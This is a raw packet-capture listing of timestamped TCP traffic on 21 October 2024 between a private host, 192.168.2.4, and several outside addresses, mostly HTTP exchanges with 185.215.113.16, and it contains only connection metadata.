Oct 21, 2024 10:47:16.841202021 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.215965986 CEST	443	49908	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:17.216053963 CEST	49908	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:17.217674971 CEST	49908	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:17.217679024 CEST	443	49908	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:17.217917919 CEST	443	49908	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:17.259448051 CEST	49908	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:17.307411909 CEST	443	49908	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:17.758553982 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.758589983 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.758662939 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.758697033 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.758728981 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.758780956 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.758836985 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.758869886 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.758902073 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.758933067 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.761440992 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:17.766448021 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.766482115 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.766518116 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.766546965 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.777074099 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:17.863217115 CEST	443	49908	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:17.863246918 CEST	443	49908	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:17.863293886 CEST	443	49908	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:17.863312960 CEST	443	49908	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:17.863332987 CEST	443	49908	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:17.864926100 CEST	49908	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:17.864926100 CEST	49908	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:17.864954948 CEST	443	49908	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:17.871104956 CEST	49908	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:17.879553080 CEST	443	49908	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:17.879573107 CEST	443	49908	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:17.880805016 CEST	49908	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:17.880821943 CEST	443	49908	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:17.885539055 CEST	49908	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:17.888839960 CEST	443	49908	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:17.888921022 CEST	443	49908	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:17.901022911 CEST	49908	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:17.904844999 CEST	49908	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:17.904886007 CEST	443	49908	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:17.904906988 CEST	49908	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:17.904912949 CEST	443	49908	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:17.919943094 CEST	49920	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:17.919994116 CEST	443	49920	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:17.920587063 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.920789003 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.920800924 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.920816898 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.920826912 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.920836926 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.920846939 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.921224117 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.921232939 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.921241999 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.921299934 CEST	49920	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:17.921565056 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.921612024 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.921617031 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:17.921622992 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.921668053 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.921678066 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.922424078 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.922476053 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.922487020 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.922529936 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.922539949 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.923273087 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.923288107 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.923319101 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.923327923 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.926580906 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.926806927 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:17.928775072 CEST	49920	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:17.928801060 CEST	443	49920	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:17.934921026 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:17.934967041 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:17.934987068 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.084225893 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.084281921 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.084290981 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.084306002 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.084332943 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.084644079 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.084664106 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.084673882 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.084686041 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.084705114 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.084737062 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.085042953 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.085095882 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.085100889 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.085112095 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.085120916 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.085130930 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.085151911 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.085179090 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.085777044 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.085834980 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.085853100 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.085910082 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.085941076 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.085949898 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.085966110 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.085975885 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.085998058 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.086028099 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.086754084 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.086771965 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.086781979 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.086821079 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.086834908 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.086846113 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.086853027 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.086886883 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.087572098 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.087609053 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.087618113 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.087627888 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.087630033 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.087661028 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.087691069 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.088161945 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.088180065 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.088188887 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.088221073 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.088242054 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.088249922 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.088254929 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.088299990 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.089246988 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.089303017 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.089313030 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.089322090 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.089332104 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.089343071 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.089369059 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.089395046 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.089894056 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.089904070 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.089912891 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.089925051 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.089951992 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.089962006 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.090545893 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.090599060 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.090612888 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.090627909 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.090639114 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.090648890 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.090673923 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.090697050 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.091394901 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.091806889 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.246314049 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.246431112 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.246484041 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.246520996 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.246526957 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.246539116 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.246547937 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.246558905 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.246630907 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.246856928 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.246917963 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.246975899 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.246984005 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.247064114 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.247101068 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.247119904 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.247139931 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.247148991 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.247189045 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.247191906 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.247241020 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.247247934 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.247292042 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.247294903 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.247304916 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.247313976 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.247323036 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.247347116 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.247364044 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.247370958 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.247374058 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.247422934 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.247458935 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.247513056 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.247522116 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.247598886 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.247612953 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.247623920 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.247633934 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.247644901 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.247656107 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.247709036 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.247915030 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.247975111 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.247984886 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.248121023 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.248140097 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.248162985 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.248193979 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.248204947 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.248244047 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.248260021 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.248270988 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.248344898 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.248359919 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.248369932 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.248379946 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.248390913 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.248498917 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.248521090 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.248559952 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.248569965 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.248584986 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.248594046 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.248621941 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.248660088 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.248682022 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.248756886 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.248806953 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.248826981 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.248837948 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.248857975 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.248867035 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.248878002 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.248883009 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.248908043 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.248918056 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.251600981 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.251610994 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.251620054 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.251629114 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.251641035 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.251648903 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.251660109 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.251663923 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.251676083 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.251713991 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.251796961 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.251817942 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.251827002 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.251851082 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.251853943 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.251883984 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.251909971 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.251971960 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.251986027 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.251995087 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.252002954 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.252099991 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.252132893 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.252144098 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.252192974 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.252203941 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.252213001 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.252218962 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.252255917 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.252265930 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.252275944 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.252295017 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.252325058 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.252585888 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.252808094 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.252823114 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.252834082 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.252834082 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.252841949 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.252852917 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.252861977 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.252866983 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.252871990 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.252881050 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.252891064 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.252896070 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.252899885 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.252909899 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.252912045 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.252918959 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.252929926 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.252932072 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.252942085 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.252949953 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.252954006 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.252963066 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.252969980 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.252975941 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.252988100 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.253006935 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.253034115 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.253530979 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.253673077 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.408453941 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.408466101 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.408482075 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.408489943 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.408499956 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.408509016 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.408519030 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.408528090 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.408535957 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.408545017 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.408554077 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.408564091 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.408665895 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.408694983 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.408704996 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.408706903 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.408750057 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.408860922 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.408869028 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.408880949 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.408895969 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.408904076 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.408914089 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.408972979 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.408981085 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.408986092 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.408992052 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409029007 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.409059048 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409060001 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.409080029 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409132004 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.409132004 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409193993 CEST	49914	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:18.409213066 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409225941 CEST	80	49914	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:18.409240007 CEST	80	49914	185.215.113.16	192.168.2.4
